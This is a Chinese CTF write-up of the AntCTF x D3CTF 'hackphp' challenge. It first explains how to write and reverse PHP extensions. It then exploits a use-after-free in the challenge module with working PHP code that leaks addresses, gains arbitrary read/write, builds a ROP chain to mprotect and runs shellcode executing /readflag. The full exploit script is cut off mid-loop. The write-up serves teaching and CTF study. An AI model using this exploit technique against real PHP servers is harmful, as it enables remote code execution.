0%

AntCTFxD3CTF_hackphp

文章首发于安全KER https://www.anquanke.com/post/id/233831

0x00前言

从一题学习php模块的编写,学习WEB PWN,并演示WEB PWN中的堆UAF利用基本手法。

0x01 PHP模块的编写

php模块一般使用C/C++编写,编译后以库文件的形式进行加载,在Linux下为.so,Windows下为.dll。下面,我们来编写一个php模块的helloword,并在php里进行调用。
首先下载php源码,进入php源码目录的ext目录,执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
root@ubuntu:/home/sea/Desktop/php-src/ext# ./ext_skel.php --ext helloword
Copying config scripts... done
Copying sources... done
Copying tests... done

Success. The extension is now ready to be compiled. To do so, use the
following steps:

cd /path/to/php-src/helloword
phpize
./configure
make

Don't forget to run tests once the compilation is done:
make test

Thank you for using PHP!

模块基本语法

该程序直接为我们生成了一个模板,我们可以直接查看源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
/* helloword extension for PHP */

#ifdef HAVE_CONFIG_H
# include "config.h"
#endif

#include "php.h"
#include "ext/standard/info.h"
#include "php_helloword.h"

/* For compatibility with older PHP versions */
#ifndef ZEND_PARSE_PARAMETERS_NONE
#define ZEND_PARSE_PARAMETERS_NONE() \
ZEND_PARSE_PARAMETERS_START(0, 0) \
ZEND_PARSE_PARAMETERS_END()
#endif

/* {{{ void helloword_test1()
*/
PHP_FUNCTION(helloword_test1)
{
ZEND_PARSE_PARAMETERS_NONE();

php_printf("The extension %s is loaded and working!\r\n", "helloword");
}
/* }}} */

/* {{{ string helloword_test2( [ string $var ] )
*/
PHP_FUNCTION(helloword_test2)
{
char *var = "World";
size_t var_len = sizeof("World") - 1;
zend_string *retval;

ZEND_PARSE_PARAMETERS_START(0, 1)
Z_PARAM_OPTIONAL
Z_PARAM_STRING(var, var_len)
ZEND_PARSE_PARAMETERS_END();

retval = strpprintf(0, "Hello %s", var);

RETURN_STR(retval);
}
/* }}}*/

/* {{{ PHP_RINIT_FUNCTION
*/
PHP_RINIT_FUNCTION(helloword)
{
#if defined(ZTS) && defined(COMPILE_DL_HELLOWORD)
ZEND_TSRMLS_CACHE_UPDATE();
#endif

return SUCCESS;
}
/* }}} */

/* {{{ PHP_MINFO_FUNCTION
*/
PHP_MINFO_FUNCTION(helloword)
{
php_info_print_table_start();
php_info_print_table_header(2, "helloword support", "enabled");
php_info_print_table_end();
}
/* }}} */

/* {{{ arginfo
*/
ZEND_BEGIN_ARG_INFO(arginfo_helloword_test1, 0)
ZEND_END_ARG_INFO()

ZEND_BEGIN_ARG_INFO(arginfo_helloword_test2, 0)
ZEND_ARG_INFO(0, str)
ZEND_END_ARG_INFO()
/* }}} */

/* {{{ helloword_functions[]
*/
static const zend_function_entry helloword_functions[] = {
PHP_FE(helloword_test1, arginfo_helloword_test1)
PHP_FE(helloword_test2, arginfo_helloword_test2)
PHP_FE_END
};
/* }}} */

/* {{{ helloword_module_entry
*/
zend_module_entry helloword_module_entry = {
STANDARD_MODULE_HEADER,
"helloword", /* Extension name */
helloword_functions, /* zend_function_entry */
NULL, /* PHP_MINIT - Module initialization */
NULL, /* PHP_MSHUTDOWN - Module shutdown */
PHP_RINIT(helloword), /* PHP_RINIT - Request initialization */
NULL, /* PHP_RSHUTDOWN - Request shutdown */
PHP_MINFO(helloword), /* PHP_MINFO - Module info */
PHP_HELLOWORD_VERSION, /* Version */
STANDARD_MODULE_PROPERTIES
};
/* }}} */

#ifdef COMPILE_DL_HELLOWORD
# ifdef ZTS
ZEND_TSRMLS_CACHE_DEFINE()
# endif
ZEND_GET_MODULE(helloword)
#endif

其中由PHP_FUNCTION宏修饰的函数代表该函数可以直接在php中进行调用,由PHP_RINIT_FUNCTION修饰的函数将在一个新请求到来时被调用,其描述如下

当一个页面请求到来时候,PHP 会迅速开辟一个新的环境,并重新扫描自己的各个扩展,遍历执行它们各自的RINIT 方法(俗称 Request Initialization),这时候一个扩展可能会初始化在本次请求中会使用到的变量等, 还会初始化用户端(即 PHP 脚本)中的变量之类的,内核预置了 PHP_RINIT_FUNCTION() 这个宏函数来帮我们实现这个功能

PHP_MINIT_FUNCTION 修饰的函数将在初始化module时运行。最终将需要在php中调用的函数指针写到一个统一的数组中。

1
2
3
4
5
static const zend_function_entry helloword_functions[] = {
PHP_FE(helloword_test1, arginfo_helloword_test1)
PHP_FE(helloword_test2, arginfo_helloword_test2)
PHP_FE_END
};

然后由zend_module_entry helloword_module_entry进行注册,该结构体记录了整个模块需要提供的一些信息。

1
2
3
4
5
6
7
8
9
10
11
12
zend_module_entry helloword_module_entry = {
STANDARD_MODULE_HEADER,
"helloword", /* Extension name */
helloword_functions, /* zend_function_entry */
NULL, /* PHP_MINIT - Module initialization */
NULL, /* PHP_MSHUTDOWN - Module shutdown */
PHP_RINIT(helloword), /* PHP_RINIT - Request initialization */
NULL, /* PHP_RSHUTDOWN - Request shutdown */
PHP_MINFO(helloword), /* PHP_MINFO - Module info */
PHP_HELLOWORD_VERSION, /* Version */
STANDARD_MODULE_PROPERTIES
};

传参

在函数里,由ZEND_PARSE_PARAMETERS_NONE()修饰的代表无参数;而ZEND_PARSE_PARAMETERS_START规定了参数的个数,其定义如下

1
#define ZEND_PARSE_PARAMETERS_START(min_num_args, max_num_args) ZEND_PARSE_PARAMETERS_START_EX(0, min_num_args, max_num_args)

Z_PARAM_OPTIONAL代表参数可有可无,不是必须;Z_PARAM_STRING(var, var_len)代表该参数是字符串对象,并且将其内容地址和长度分别赋值给var和var_len。
还有很多类型,如下表:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
specifier	Fast ZPP API macro	args
| Z_PARAM_OPTIONAL
a Z_PARAM_ARRAY(dest) dest - zval*
A Z_PARAM_ARRAY_OR_OBJECT(dest) dest - zval*
b Z_PARAM_BOOL(dest) dest - zend_bool
C Z_PARAM_CLASS(dest) dest - zend_class_entry*
d Z_PARAM_DOUBLE(dest) dest - double
f Z_PARAM_FUNC(fci, fcc) fci - zend_fcall_info, fcc - zend_fcall_info_cache
h Z_PARAM_ARRAY_HT(dest) dest - HashTable*
H Z_PARAM_ARRAY_OR_OBJECT_HT(dest) dest - HashTable*
l Z_PARAM_LONG(dest) dest - long
L Z_PARAM_STRICT_LONG(dest) dest - long
o Z_PARAM_OBJECT(dest) dest - zval*
O Z_PARAM_OBJECT_OF_CLASS(dest, ce) dest - zval*
p Z_PARAM_PATH(dest, dest_len) dest - char*, dest_len - int
P Z_PARAM_PATH_STR(dest) dest - zend_string*
r Z_PARAM_RESOURCE(dest) dest - zval*
s Z_PARAM_STRING(dest, dest_len) dest - char*, dest_len - int
S Z_PARAM_STR(dest) dest - zend_string*
z Z_PARAM_ZVAL(dest) dest - zval*
Z_PARAM_ZVAL_DEREF(dest) dest - zval*
+ Z_PARAM_VARIADIC('+', dest, num) dest - zval*, num int
* Z_PARAM_VARIADIC('*', dest, num) dest - zval*, num int

测试

编译以后得到了模块

1
2
root@ubuntu:/home/sea/Desktop/php-src/ext/helloword/modules# ls
helloword.la helloword.so

安装该模块

1
cp helloword.so /usr/local/lib/php/extensions/no-debug-non-zts-20190902

php.ini里添加

1
extension=helloword.so

测试程序如下

1
2
3
4
<?php
helloword_test1();
helloword_test2("aaa");
?>

运行结果

1
2
root@ubuntu:/home/sea/Desktop/php-src/ext/helloword/modules# php 1.php
The extension helloword is loaded and working!

可以看到模块成功被调用,并且在php中的调用十分方便,当成普通函数调用就可以了。

0x02 PHP模块逆向分析

将helloword.so模块用IDA打开分析

定位到函数表,可以发现供我们在php里调用的函数有两个,且这些函数名都以zif开头

进入zif_helloword_test2函数,可以看到,宏都被展开了,前面是对参数个数的判断,后面则是对变量进行赋值。

至此,对php模块,我们已经有了大致的了解。

0x03 hackphp

漏洞分析

首先用IDA分析,找到zif开头的函数

因此,在php中我们能调用该模块中的4个函数,分别为

1
2
3
4
hackphp_create
hackphp_delete
hackphp_edit
hackphp_get

hackphp_create函数接收一个整型参数,其功能是可以调用_emalloc创建一个堆,这里存在一个UAF漏洞,就是当0<=size<256或者size>512时不会直接return,会执行到efree将申请的堆给释放掉,然后其指针仍然保留给了buf全局变量。

hackphp_delete函数无参数,其功能是将buf指向的堆efree掉,并清空buf指针

hackphp_edit函数接收一个字符串参数,并将其内容写入到buf里,这里注意的是,php里传入的字符串,即使其字符串中存在\x00,其length也不是以该字符截断的,该字符串对象的length成员表示其内容的字节数,并且在hackphp_edit函数中,使用了memcpy而不是strncpy这意味着hackphp_edit不会因为字符串中存在\0而截断,因此,我们可以用该函数进行字节编辑。

hackphp_get函数用于显示buf的内容,由于使用的是zend_strpprintf(0LL,"%s", buf)因此会受到\0字符的截断。

漏洞分析完了,该模块存在一个UAF,但是由于使用的是emalloc/efree不能像glibc的ptmalloc那样进行花式利用,我们可以利用double free,因为通过测试,double free不会报错,并且重新申请两次时都可以申请到此处,因此我们可以考虑让两个php对象同时占位于此,达到类型混淆的目的。

漏洞利用分析

我们可以将DateInterval对象占位于此。为了确定该对象的结构大小,我们使用如下代码测试,其中$str = fread(STDIN,1000);起到阻塞的效果。

1
2
3
4
5
<?php
$str = fread(STDIN,1000);
$dv = new DateInterval('P1Y');
$str = fread(STDIN,1000);
?>

运行该程序php 1.php,然后另外开一个窗口,用gdb进行attach调试。给emalloc函数下断点

1
2
pwndbg> b _emalloc
Breakpoint 1 at 0x55ea1e726970: file /home/sea/Desktop/php-src/Zend/zend_alloc.c, line 2533.

然后继续运行,程序断下后,发现此时size为56

继续运行,发现不止一次下断,我们记录下每一次下断后emalloc返回的地址,最终发现第一次emalloc(56)的堆里有许多有用的数据。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
 RAX  0x7f5e332551c0 —▸ 0x7f5e332551f8 —▸ 0x7f5e33255230 —▸ 0x7f5e33255268 —▸ 0x7f5e332552a0 ◂— ...
*RBX 0x7f5e332551c0 —▸ 0x7f5e332551f8 —▸ 0x7f5e33255230 —▸ 0x7f5e33255268 —▸ 0x7f5e332552a0 ◂— ...
RCX 0x7f5e332551f8 —▸ 0x7f5e33255230 —▸ 0x7f5e33255268 —▸ 0x7f5e332552a0 —▸ 0x7f5e332552d8 ◂— ...
RDX 0x7f5e33200070 —▸ 0x7f5e332010c0 —▸ 0x7f5e332010d8 —▸ 0x7f5e332010f0 —▸ 0x7f5e33201108 ◂— ...
RDI 0x7f5e33200040 ◂— 0x0
*RSI 0x5654177dbf50 ◂— 0x1
R8 0x7f5e33254440 ◂— 0x600000001
R9 0x7f5e33200000 —▸ 0x7f5e33200040 ◂— 0x0
R10 0x7f000
R11 0x246
*R12 0x7f5e332551d0 ◂— 0x0
R13 0x0
R14 0x7f5e33212020 —▸ 0x7f5e3328d0c0 —▸ 0x56541558b9fc (execute_ex+8732) ◂— endbr64
R15 0x7f5e3328d0c0 —▸ 0x56541558b9fc (execute_ex+8732) ◂— endbr64
RBP 0x5654177dbf50 ◂— 0x1
*RSP 0x7ffe15719fd0 —▸ 0x7f5e332120c0 ◂— 0x747468203b0a2e79 ('y.\n; htt')
*RIP 0x5654152b6512 (date_object_new_interval+66) ◂— movups xmmword ptr [rax], xmm0
──────────────────────────────────────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────────────────────────────────────────
0x5654152b64fc <date_object_new_interval+44> pxor xmm0, xmm0
0x5654152b6500 <date_object_new_interval+48> mov rsi, rbp
0x5654152b6503 <date_object_new_interval+51> mov qword ptr [rax + 0x30], 0
0x5654152b650b <date_object_new_interval+59> lea r12, [rax + 0x10]
0x5654152b650f <date_object_new_interval+63> mov rbx, rax
► 0x5654152b6512 <date_object_new_interval+66> movups xmmword ptr [rax], xmm0
0x5654152b6515 <date_object_new_interval+69> mov rdi, r12
0x5654152b6518 <date_object_new_interval+72> movups xmmword ptr [rax + 0x10], xmm0
0x5654152b651c <date_object_new_interval+76> movups xmmword ptr [rax + 0x20], xmm0
0x5654152b6520 <date_object_new_interval+80> call zend_object_std_init <zend_object_std_init>

0x5654152b6525 <date_object_new_interval+85> mov rsi, rbp
───────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]───────────────────────────────────────────────────────────────────────────────
In file: /home/sea/Desktop/php-src/Zend/zend_objects_API.h
89 * Properties MUST be initialized using object_properties_init(). */
90 static zend_always_inline void *zend_object_alloc(size_t obj_size, zend_class_entry *ce) {
91 void *obj = emalloc(obj_size + zend_object_properties_size(ce));
92 /* Subtraction of sizeof(zval) is necessary, because zend_object_properties_size() may be
93 * -sizeof(zval), if the object has no properties. */
► 94 memset(obj, 0, obj_size - sizeof(zval));
95 return obj;
96 }
97
98 static inline zend_property_info *zend_get_property_info_for_slot(zend_object *obj, zval *slot)
99 {
───────────────────────────────────────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7ffe15719fd0 —▸ 0x7f5e332120c0 ◂— 0x747468203b0a2e79 ('y.\n; htt')
01:0008│ 0x7ffe15719fd8 —▸ 0x5654177dbf50 ◂— 0x1
02:0010│ 0x7ffe15719fe0 —▸ 0x7f5e33212120 ◂— 0x6f20676f4c20746e ('nt Log o')
03:0018│ 0x7ffe15719fe8 —▸ 0x56541550c9a9 (object_init_ex+57) ◂— mov dword ptr [rbx + 8], 0x308
04:0020│ 0x7ffe15719ff0 ◂— 0x0
05:0028│ 0x7ffe15719ff8 —▸ 0x7f5e33212190 ◂— 0x206f74203b0a6465 ('ed\n; to ')
06:0030│ 0x7ffe1571a000 —▸ 0x7f5e332120c0 ◂— 0x747468203b0a2e79 ('y.\n; htt')
07:0038│ 0x7ffe1571a008 —▸ 0x7f5e33212120 ◂— 0x6f20676f4c20746e ('nt Log o')
─────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────────────────────────────────────────
► f 0 5654152b6512 date_object_new_interval+66
f 1 5654152b6512 date_object_new_interval+66
f 2 56541550c9a9 object_init_ex+57
f 3 56541550c9a9 object_init_ex+57
f 4 56541556f585 ZEND_NEW_SPEC_CONST_UNUSED_HANDLER+53
f 5 56541558ba05 execute_ex+8741
f 6 5654155932bd zend_execute+301
f 7 56541550ac3c zend_execute_scripts+204
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────

如上,0x7f5e332551c0emalloc(56)申请的堆,我们记下该地址,然后输入c继续运行,直到程序不再下断,也就是执行到php代码里的最后一句$str = fread(STDIN,1000);时,此时DateInterval对象创建完成,我们查看该地址处的内容。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
pwndbg> tel 0x7f5e332551c0
00:0000│ 0x7f5e332551c0 —▸ 0x7f5e3327e000 ◂— 0x1
01:0008│ 0x7f5e332551c8 ◂— 0x1
02:0010│ 0x7f5e332551d0 ◂— 0xc000041800000001
03:0018│ 0x7f5e332551d8 ◂— 0x1
04:0020│ 0x7f5e332551e0 —▸ 0x5654177dbf50 ◂— 0x1
05:0028│ 0x7f5e332551e8 —▸ 0x56541607a0a0 (date_object_handlers_interval) ◂— 0x10
06:0030│ 0x7f5e332551f0 ◂— 0x0
07:0038│ 0x7f5e332551f8 —▸ 0x7f5e33255230 —▸ 0x7f5e33255268 —▸ 0x7f5e332552a0 —▸ 0x7f5e332552d8 ◂— ...
pwndbg> tel 0x56541607a0a0
00:0000│ 0x56541607a0a0 (date_object_handlers_interval) ◂— 0x10
01:0008│ 0x56541607a0a8 (date_object_handlers_interval+8) —▸ 0x5654152b5790 (date_object_free_storage_interval) ◂— endbr64
02:0010│ 0x56541607a0b0 (date_object_handlers_interval+16) —▸ 0x56541553be40 (zend_objects_destroy_object) ◂— endbr64
03:0018│ 0x56541607a0b8 (date_object_handlers_interval+24) —▸ 0x5654152b6550 (date_object_clone_interval) ◂— endbr64
04:0020│ 0x56541607a0c0 (date_object_handlers_interval+32) —▸ 0x5654152b5aa0 (date_interval_read_property) ◂— endbr64
05:0028│ 0x56541607a0c8 (date_object_handlers_interval+40) —▸ 0x5654152b5e50 (date_interval_write_property) ◂— endbr64
06:0030│ 0x56541607a0d0 (date_object_handlers_interval+48) —▸ 0x56541553cba0 (zend_std_read_dimension) ◂— endbr64
07:0038│ 0x56541607a0d8 (date_object_handlers_interval+56) —▸ 0x56541553ce70 (zend_std_write_dimension) ◂— endbr64
pwndbg>

可以发现该对象内部存在一个虚表,虚表里有许多函数指针,因此,我们可以利用某些方法将这些数据读取出来,进而实现了地址泄露。假设我们将该对象占位于hackphp模块中的UAF堆里,用hackphp_get实现不了泄露,因为该函数遇到\0会截断。因此我们可以考虑在之前先构造一个double free然后将DateInterval对象占位于此以后,将另外一个对象也占位于此,并且另外一个对象应该能够使用运算符[],这样我们可以使用运算符[]来读取数据。一个可以考虑的对象是通过str_repeat("a",n);创建的字符串对象,至于不直接使用array是因为array对象有些复杂,而字符串对象相对来说要简单一些。首先,我们得确定n为多少,才能让其大小为56DateInterval对象保持一致。
首先尝试0x30

1
2
3
4
5
<?php
$str = fread(STDIN,1000);
$dv = str_repeat("a",0x30);
$str = fread(STDIN,1000);
?>

仍然使用gdb进行调试,发现实际调用emalloc时,size为0x50

因此,如果我们要控制字符串对象的大小为56的话,n应该为0x18,也就是这样

1
$str = str_repeat("a",0x18);
1
2
3
4
5
6
7
8
9
10
11
12
13
14
 RAX  0x7fe101a551c0 —▸ 0x7fe101a551f8 —▸ 0x7fe101a55230 —▸ 0x7fe101a55268 —▸ 0x7fe101a552a0 ◂— ...

In file: /home/sea/Desktop/php-src/Zend/zend_string.h
141
142 static zend_always_inline zend_string *zend_string_safe_alloc(size_t n, size_t m, size_t l, int persistent)
143 {
144 zend_string *ret = (zend_string *)safe_pemalloc(n, m, ZEND_MM_ALIGNED_SIZE(_ZSTR_STRUCT_SIZE(l)), persistent);
145
► 146 GC_SET_REFCOUNT(ret, 1);
147 GC_TYPE_INFO(ret) = IS_STRING | ((persistent ? IS_STR_PERSISTENT : 0) << GC_FLAGS_SHIFT);
148 ZSTR_H(ret) = 0;
149 ZSTR_LEN(ret) = (n * m) + l;
150 return ret;
151 }

记下其地址0x7fe101a551c0,然后继续运行,直到不再下断。

可以发现,字符串对象结构比较简单,0x18偏移处就是数据区长度,如果我们将其篡改,就可以实现越界读写。假设该对象也占位与hackphp模块的UAF堆中,那么我们就能利用该字符串对象对DateInterval对象内部的数据进行读写。

漏洞利用

于是,我们的php脚本这样写

1
2
3
4
5
6
7
8
9
10
11
12
13
14
//double free
hackphp_create(56);
hackphp_delete();

//$x and $dv now has same address
$x = str_repeat("D",0x18);
$dv = new DateInterval('P1Y');

$dv_vtable_addr = u64($x[0x10] . $x[0x11] . $x[0x12] . $x[0x13] . $x[0x14] . $x[0x15] . $x[0x16] . $x[0x17]);
echo sprintf("dv_vatble=0x%lx",$dv_vtable_addr);
echo "\n";
$dv_self_obj_addr = u64($x[0x20] . $x[0x21] . $x[0x22] . $x[0x23] . $x[0x24] . $x[0x25] . $x[0x26] . $x[0x27]) - 0x70;
echo sprintf("dv_self_obj_addr=0x%lx",$dv_self_obj_addr);
echo "\n";

通过上面的脚本,我们已经得到vtable的地址以及该对象自身的地址。接下来,我们重新创建一个堆,然后将一个新的字符串对象占位,通过UAF修改字符串的length成员,从而该字符串对象将具有任意地址读写的能力。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
hackphp_create(0x60);
$oob = str_repeat("D",0x40);
hackphp_edit("\x01\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xff\xff\xff\xff\xff/readflag\x00");
$oob_self_obj_addr = u64($oob[0x48] . $oob[0x49] . $oob[0x4a] . $oob[0x4b] . $oob[0x4c] . $oob[0x4d] . $oob[0x4e] . $oob[0x4f]) - 0xC0;
echo sprintf("oob_self_obj_addr=0x%lx",$oob_self_obj_addr);
echo "\n";
$offset = $dv_vtable_addr + 0x8 - ($oob_self_obj_addr + 0x18);
function read64($oob,$addr) {
/*if ($addr < 0) {
$addr = 0x10000000000000000 + $addr;
}*/
return u64($oob[$addr+0x0] . $oob[$addr+0x1] . $oob[$addr+0x2] . $oob[$addr+0x3] . $oob[$addr+0x4] . $oob[$addr+0x5] . $oob[$addr+0x6] . $oob[$addr+0x7]);
}

echo sprintf("offset=0x%lx",$offset);

接下来,就可以泄露虚表里的函数指针地址了,计算出php二进制程序的基址,然后泄露GOT表,计算libc地址,获得gadgets及一些函数的地址。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
$date_object_free_storage_interval_addr = read64($oob,$offset+1);
echo sprintf("date_object_free_storage_interval_addr=0x%lx",$date_object_free_storage_interval_addr);
echo "\n";

$php_base = $date_object_free_storage_interval_addr - 0x23D790;
$strlen_got = $php_base + 0xFFEEB8;

$offset = $strlen_got - ($oob_self_obj_addr + 0x18) + 1;
$strlen_addr = read64($oob,$offset);
$libc_base = $strlen_addr - 0x18b660;
$pop_rdi = $libc_base + 0x0000000000026b72;
$pop_rsi = $libc_base + 0x0000000000026b70;
$pop_rdx = $libc_base + 0x0000000000162866;

$stack_ptr = $libc_base + 0x1ec440;

$offset = $stack_ptr - ($oob_self_obj_addr + 0x18);
$stack_addr = read64($oob,$offset);
$mprotect_addr = $libc_base + 0x11BB00;

echo sprintf("strlen_addr=0x%lx \n",$strlen_addr);
echo sprintf("libc_base=0x%lx \n",$libc_base);
echo sprintf("stack_addr=0x%lx \n",$stack_addr);

接下来就是如何劫持程序流了,由于具有了任意地址读写的能力,那么利用手法就是仁者见仁智者见智了。
然而当你调用$oob[x]进行写时,如果x<=0会发现报错

1
2
3
found!PHP Warning:  Illegal string offset:  0 in /home/sea/Desktop/1.php on line 155

Warning: Illegal string offset: 0 in /home/sea/Desktop/1.php on line 155

通过分析源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
static zend_never_inline void zend_assign_to_string_offset(zval *str, zval *dim, zval *value, zval *result)
{
zend_string *old_str;
zend_uchar c;
size_t string_len;
zend_long offset;

if (UNEXPECTED(Z_TYPE_P(dim) != IS_LONG)) {
offset = zend_check_string_offset(dim/*, BP_VAR_W*/);
} else {
offset = Z_LVAL_P(dim);
}
if (offset < -(zend_long)Z_STRLEN_P(str)) {
/* Error on negative offset */
zend_error(E_WARNING, "Illegal string offset " ZEND_LONG_FMT, offset);
if (result) {
ZVAL_NULL(result);
}
return;
}

关键一句

1
if (offset < -(zend_long)Z_STRLEN_P(str))

因为这里,我们length修改为了-1,所以Z_STRLEN_P(str)返回的就是-1取反后就是1,也就是offset必须大于等于1,这意味着,我们只能向后进行任意地址写,当然,可以通过再次修改length为正数,绕过这个if检查。但是我没有这么做,因为栈地址位于最后,所以我可以直接向后找到栈地址,然后劫持栈。

为了确定栈ROP的位置,我使用了栈内存搜索,知道搜索到一个指定的返回地址结束。因为php_execute_script是执行php脚本的具体实现,所以,我们只需劫持该函数的返回地址,那么我们就需要在栈里搜索该地址,如果找到,就说明这个位置就是我们写ROP的地方了。

1
2
3
4
5
6
7
8
9
10
11
12
$ret_main_target = $php_base + 0x51d402;
//搜索ROP的地址
while (true) {
$data = read64($oob,$offset);
//echo sprintf("0x%lx",$hackphp_so_addr & 0xFFF);
//echo "\n";
if (intval($data) == intval($ret_main_target) ) {
echo "found!";
break;
}
$offset--;
}

然后就是写入ROP了,不知道为何,不能封装为函数,否则会写入失败。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
for ($j=0;$j<8;$j++) {
$oob[$offset+$j] = chr($pop_rsi & 0xFF);
$pop_rsi = $pop_rsi >> 0x8;
}
$offset += 0x8;
$data = 0x1000;
for ($j=0;$j<8;$j++) {
$oob[$offset+$j] = chr($data & 0xFF);
$data = $data >> 0x8;
}

$offset += 0x10;
for ($j=0;$j<8;$j++) {
$oob[$offset+$j] = chr($pop_rdx & 0xFF);
$pop_rdx = $pop_rdx >> 0x8;
}
$offset += 0x8;
$data = 0x7;
for ($j=0;$j<8;$j++) {
$oob[$offset+$j] = chr($data & 0xFF);
$data = $data >> 0x8;
}
$offset += 0x10;

for ($j=0;$j<8;$j++) {
$oob[$offset+$j] = chr($pop_rdi & 0xFF);
$pop_rdi = $pop_rdi >> 0x8;
}


$offset += 8;
$stack_addr = $offset + ($oob_self_obj_addr + 0x18);

$data = $stack_addr ^ ($stack_addr & 0xfff);
for ($j=0;$j<8;$j++) {
$oob[$offset+$j] = chr($data & 0xFF);
$data = $data >> 0x8;
}
$offset += 8;
$data = $mprotect_addr;
for ($j=0;$j<8;$j++) {
$oob[$offset+$j] = chr($data & 0xFF);
$data = $data >> 0x8;
}
$offset += 8;
$data = $stack_addr+0x18;
for ($j=0;$j<8;$j++) {
$oob[$offset+$j] = chr($data & 0xFF);
$data = $data >> 0x8;
}
$stack_addr += 0x18;
$offset += 0x8;

$shellcode = "\x55\x48\x89\xE5\x48\x83\xEC\x30\x48\xB8\x2F\x72\x65\x61\x64\x66\x6C\x61\x48\x89\x45\xF0\x48\xC7\xC0\x67\x00\x00\x00\x48\x89\x45\xF8\x48\x8D\x7D\xF0\x48\xC7\xC6\x00\x00\x00\x00\x48\xC7\xC2\x00\x00\x00\x00\xB8\x3B\x00\x00\x00\x0F\x05";
$len = strlen($shellcode);

//写shellcode
for ($j=0;$j<$len;$j++) {
$oob[$offset+$j] = $shellcode[$j];
}

至此,就完成了漏洞利用。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
<?php
function u64($val) {
$s = bin2hex($val);
$len = strlen($s);
$ans = "0x";
for ($i=$len-2;$i>=0;$i-=2) {
$ans = $ans . substr($s,$i,2);
}
return intval($ans,16);
}
function p32($val) {
$s = dechex($val);
$len = strlen($s);
$ans = "";
for ($i=$len-2;$i>=0;$i-=2) {
$ans = $ans . substr($s,$i,2);
}
return hex2bin($ans);
}

//double free
hackphp_create(56);
hackphp_delete();

//$x and $dv now has same address
$x = str_repeat("D",0x18);
$dv = new DateInterval('P1Y');

$dv_vtable_addr = u64($x[0x10] . $x[0x11] . $x[0x12] . $x[0x13] . $x[0x14] . $x[0x15] . $x[0x16] . $x[0x17]);
echo sprintf("dv_vatble=0x%lx",$dv_vtable_addr);
echo "\n";
$dv_self_obj_addr = u64($x[0x20] . $x[0x21] . $x[0x22] . $x[0x23] . $x[0x24] . $x[0x25] . $x[0x26] . $x[0x27]) - 0x70;
echo sprintf("dv_self_obj_addr=0x%lx",$dv_self_obj_addr);
echo "\n";

hackphp_create(0x60);
$oob = str_repeat("D",0x40);
hackphp_edit("\x01\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xff\xff\xff\xff\xff/readflag\x00");
$oob_self_obj_addr = u64($oob[0x48] . $oob[0x49] . $oob[0x4a] . $oob[0x4b] . $oob[0x4c] . $oob[0x4d] . $oob[0x4e] . $oob[0x4f]) - 0xC0;
echo sprintf("oob_self_obj_addr=0x%lx",$oob_self_obj_addr);
echo "\n";
$offset = $dv_vtable_addr + 0x8 - ($oob_self_obj_addr + 0x18);
function read64($oob,$addr) {
/*if ($addr < 0) {
$addr = 0x10000000000000000 + $addr;
}*/
return u64($oob[$addr+0x0] . $oob[$addr+0x1] . $oob[$addr+0x2] . $oob[$addr+0x3] . $oob[$addr+0x4] . $oob[$addr+0x5] . $oob[$addr+0x6] . $oob[$addr+0x7]);
}

echo sprintf("offset=0x%lx",$offset);
echo "\n";
$date_object_free_storage_interval_addr = read64($oob,$offset+1);
echo sprintf("date_object_free_storage_interval_addr=0x%lx",$date_object_free_storage_interval_addr);
echo "\n";

$php_base = $date_object_free_storage_interval_addr - 0x23D790;
$strlen_got = $php_base + 0xFFEEB8;

$offset = $strlen_got - ($oob_self_obj_addr + 0x18) + 1;
$strlen_addr = read64($oob,$offset);
$libc_base = $strlen_addr - 0x18b660;
$pop_rdi = $libc_base + 0x0000000000026b72;
$pop_rsi = $libc_base + 0x0000000000026b70;
$pop_rdx = $libc_base + 0x0000000000162866;

$stack_ptr = $libc_base + 0x1ec440;

$offset = $stack_ptr - ($oob_self_obj_addr + 0x18);
$stack_addr = read64($oob,$offset);
$mprotect_addr = $libc_base + 0x11BB00;

echo sprintf("strlen_addr=0x%lx \n",$strlen_addr);
echo sprintf("libc_base=0x%lx \n",$libc_base);
echo sprintf("stack_addr=0x%lx \n",$stack_addr);

$offset = $stack_addr - ($oob_self_obj_addr + 0x18);



$ret_main_target = $php_base + 0x51d402;
//搜索ROP的地址
while (true) {
